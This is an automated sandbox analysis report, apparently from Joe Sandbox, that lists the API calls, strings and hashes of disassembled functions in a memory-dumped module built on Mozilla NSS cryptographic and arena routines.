Part of subcall function 6C6639F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C663A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6C664038

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C66404D

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C77A0F4), ref: 6C6640C2

Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C6AF0C8
Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6AF122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6C66409A

Part of subcall function 6C6ABE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C65E708,00000000,00000000,00000004,00000000), ref: 6C6ABE6A
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?), ref: 6C6ABE7E
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6640DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6640F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C664108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6C66411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6C664137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6C664150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6C77A1C8), ref: 6C66417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6C664194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6641A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6641B2
PK11_DestroyObject.NSS3(?,?), ref: 6C6641D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6641FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C77A1A8), ref: 6C66422D

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 0e939b85d2b0606d785361b84d16c14bbff6e23a9f8a970531a9e37e68c402ca
Instruction ID: e8d5ba0a5010404dac0e1cb622ebc99dd7662ea4190aadad98f6853c3db08788
Opcode Fuzzy Hash: 0e939b85d2b0606d785361b84d16c14bbff6e23a9f8a970531a9e37e68c402ca
Instruction Fuzzy Hash: F451F6B1A043016BF710DB269C61BB7B6DD9F5234CF140528E95AC6F42FB71E91882AF

Function 6C6A8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8E9E
PORT_ArenaAlloc_Util.NSS3(6C7B0B64,00000001,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C6A8E01), ref: 6C6A8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C7B0B64,6C7B0B64), ref: 6C6A8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C6A8F3F

Part of subcall function 6C6AA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C6AA421,00000000,00000000,6C6A9826), ref: 6C6AA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6A904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C6A8E76

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: b41af695523b766951f8b3d7dd66e221d047e4c6bbeb62b751c989f09ed93225
Instruction ID: 0a5e921e9643bca006ffd503c695ffcc5610e738b0be403def85a23dd1839119
Opcode Fuzzy Hash: b41af695523b766951f8b3d7dd66e221d047e4c6bbeb62b751c989f09ed93225
Instruction Fuzzy Hash: E66173B5D0010A9BDB10CF96CD44AABB7B5FF88358F244129DC18A7711E732AD16CBB4

Function 6C658E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C658E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C658E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C658EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C7818D0,?), ref: 6C658F03
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C658F19
PL_FreeArenaPool.NSS3(?), ref: 6C658F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C658F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C658F65
PL_FinishArenaPool.NSS3(?), ref: 6C658FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C658FFE
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C659012
PL_FreeArenaPool.NSS3(?), ref: 6C659024
PL_FinishArenaPool.NSS3(?), ref: 6C65902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C65903E

Strings

security, xrefs: 6C658EE7

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 537c0f8e005092767397222f4db3d4fbf262e1a1ef082590e7792f1813577c89
Instruction ID: 6727b6f100abf774d9a923c139fa9ad8fe012f12834da34d9ee099564e4fab89
Opcode Fuzzy Hash: 537c0f8e005092767397222f4db3d4fbf262e1a1ef082590e7792f1813577c89
Instruction Fuzzy Hash: E95169B1648300ABD7105A14DC41FAB73E8AF8A35CFA0082EF95497F50E731D829876F

Function 6C71CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C71CC7B), ref: 6C71CD7A

Part of subcall function 6C71CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C68C1A8,?), ref: 6C71CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C71CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C71CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C71CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C71CD8E

Part of subcall function 6C6405C0: PR_EnterMonitor.NSS3 ref: 6C6405D1
Part of subcall function 6C6405C0: PR_ExitMonitor.NSS3 ref: 6C6405EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C71CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C71CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C71CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C71CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C71CE48

Strings

freeaddrinfo, xrefs: 6C71CD9F, 6C71CE10
ws2_32.dll, xrefs: 6C71CD75
getaddrinfo, xrefs: 6C71CD88, 6C71CDF9
wship6.dll, xrefs: 6C71CDE3
getnameinfo, xrefs: 6C71CDB2, 6C71CE23

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 524f7c8cace327e20cca65ae3e2fb239c926563253bd2b8b7b8e7d06689f4d6f
Instruction ID: 4de1f8247834431d80a4a036b94170acac42c10d7a72cda8428bdb0db315982c
Opcode Fuzzy Hash: 524f7c8cace327e20cca65ae3e2fb239c926563253bd2b8b7b8e7d06689f4d6f
Instruction Fuzzy Hash: 121126A6E1B12217EB006AB22E01EAA3C5C9B1310EF5CC534E905D2F41FF21D60983EE

Function 6C761C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6C7613BC,?,?,?,6C761193), ref: 6C761C6B
PR_NewLock.NSS3(?,6C761193), ref: 6C761C7E

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_NewCondVar.NSS3(00000000,?,6C761193), ref: 6C761C91

Part of subcall function 6C63BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6421BC), ref: 6C63BB8C

PR_NewCondVar.NSS3(00000000,?,?,6C761193), ref: 6C761CA7

Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C63BBEB
Part of subcall function 6C63BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C63BBFB
Part of subcall function 6C63BB80: GetLastError.KERNEL32 ref: 6C63BC03
Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C63BC19
Part of subcall function 6C63BB80: free.MOZGLUE(00000000), ref: 6C63BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6C761193), ref: 6C761CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6C761193), ref: 6C761CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6C761193), ref: 6C761CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6C761193), ref: 6C761D1A

Part of subcall function 6C719BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C641A48), ref: 6C719BB3
Part of subcall function 6C719BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C641A48), ref: 6C719BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C761193), ref: 6C761D3D

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6C761193), ref: 6C761D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6C761193), ref: 6C761D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6C761193), ref: 6C761D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6C761193), ref: 6C761D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6C761193), ref: 6C761D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6C761193), ref: 6C761D93
PR_DestroyLock.NSS3(00000000,?,?,6C761193), ref: 6C761D9F
free.MOZGLUE(00000000,?,6C761193), ref: 6C761DA8

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 6c7e2f02e8570ce814a314284ab90945894fe80d8608731887db8dd2ac86fa3d
Instruction ID: 85b987fcfce732bd404d97219e18d5fa91ee99ced115377579d106a6781fb84d
Opcode Fuzzy Hash: 6c7e2f02e8570ce814a314284ab90945894fe80d8608731887db8dd2ac86fa3d
Instruction Fuzzy Hash: 0831A6F1E007016BEB209F65ED45A6776E4AF0274DB044438E84A87F41FB31E518CB9A

Function 6C675E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C675ECF
EnterCriticalSection.KERNEL32(?), ref: 6C675EE3
PR_Unlock.NSS3(?), ref: 6C675F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6C675FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6C6761F4
S&il, xrefs: 6C675E6C, 6C67627F, 6C675F12
S&il, xrefs: 6C6762E3

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&il$S&il
API String ID: 2280678669-799787219
Opcode ID: a01734e54dcb5544aa6796c02f32b13131f1dec228462bff5f04959cac5bfc07
Instruction ID: 72babd3dec1150e0d7e59fb28f89b766a4738306dc6d7f89be3ed7cd6f4321ee
Opcode Fuzzy Hash: a01734e54dcb5544aa6796c02f32b13131f1dec228462bff5f04959cac5bfc07
Instruction Fuzzy Hash: BCF106B5A00215CFDB54CF28C884B86BBF4FF09304F1586AAD9089B746E774DA85CFA5

Function 6C6C0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,ll), ref: 6C6C0C81

Part of subcall function 6C6ABE30: SECOID_FindOID_Util.NSS3(6C66311B,00000000,?,6C66311B,?), ref: 6C6ABE44

Part of subcall function 6C698500: SECOID_GetAlgorithmTag_Util.NSS3(6C6995DC,00000000,00000000,00000000,?,6C6995DC,00000000,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C698517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6C0CC4

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C6C0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C6C0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C6C0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C6C0D7D
free.MOZGLUE(00000000), ref: 6C6C0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6C0DC1
free.MOZGLUE(00000000), ref: 6C6C0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6C0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C6C0E0F

Part of subcall function 6C6995C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C6995E0
Part of subcall function 6C6995C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C6995F5
Part of subcall function 6C6995C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C699609
Part of subcall function 6C6995C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C69961D
Part of subcall function 6C6995C0: PK11_GetInternalSlot.NSS3 ref: 6C69970B
Part of subcall function 6C6995C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C699756
Part of subcall function 6C6995C0: PK11_GetIVLength.NSS3(?), ref: 6C699767
Part of subcall function 6C6995C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C69977E
Part of subcall function 6C6995C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C69978E

Strings

*,ll, xrefs: 6C6C0DCC
-$ll, xrefs: 6C6C0C64
*,ll, xrefs: 6C6C0C69, 6C6C0DE0, 6C6C0C80, 6C6C0C8B, 6C6C0CAF

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,ll$*,ll$-$ll
API String ID: 3136566230-2285576193
Opcode ID: 8333f21d81759eb397c0448cc2312b2ba086d505cc51359efba5e5f6d111d463
Instruction ID: 989f0a31c556c2584ab16ee8ceb368326daa378d13eb2ffb1eeb58679e14f785
Opcode Fuzzy Hash: 8333f21d81759eb397c0448cc2312b2ba086d505cc51359efba5e5f6d111d463
Instruction Fuzzy Hash: C641C0F1A01246ABEB009F64AC45BEF7AB4EF0530CF104424E91967741E735BA18CBEB

Function 6C6B5CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6C6B5EC0,00000000,?,?), ref: 6C6B5CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6C6B5CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C6B5CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C6B5D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6C6B5EC0,00000000,?,?), ref: 6C6B5D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6C6B5D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6C6B5D80

Strings

NSS_DEFAULT_DB_TYPE, xrefs: 6C6B5D1A
extern:, xrefs: 6C6B5CEA, 6C6B5D4B
dbm:, xrefs: 6C6B5D03, 6C6B5D60
multiaccess:, xrefs: 6C6B5CB8
sql:, xrefs: 6C6B5CD1, 6C6B5D36

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: b27bc9e914a4eb71551638f57f32eb34a7953721c0e96f3deb399b311a6b594f
Instruction ID: 4ff4066e98020141919391a073129acfe0af4377828fae0ad03100717c82ce2e
Opcode Fuzzy Hash: b27bc9e914a4eb71551638f57f32eb34a7953721c0e96f3deb399b311a6b594f
Instruction Fuzzy Hash: DA31F7A07413516BE7011A38EC49BEA37ECAF02349F144630EE55F6A82E772D521C39D

Function 6C6B6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C781DE0,?), ref: 6C6B6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C6B6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C6B6D82
DER_GetInteger_Util.NSS3(?), ref: 6C6B6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6B6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C6B6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C6B6F19
PK11_DigestBegin.NSS3(00000000), ref: 6C6B6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C6B6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C6B7011
PK11_FreeSymKey.NSS3(00000000), ref: 6C6B7033
free.MOZGLUE(?), ref: 6C6B703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C6B7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C6B7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C6B70AF

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
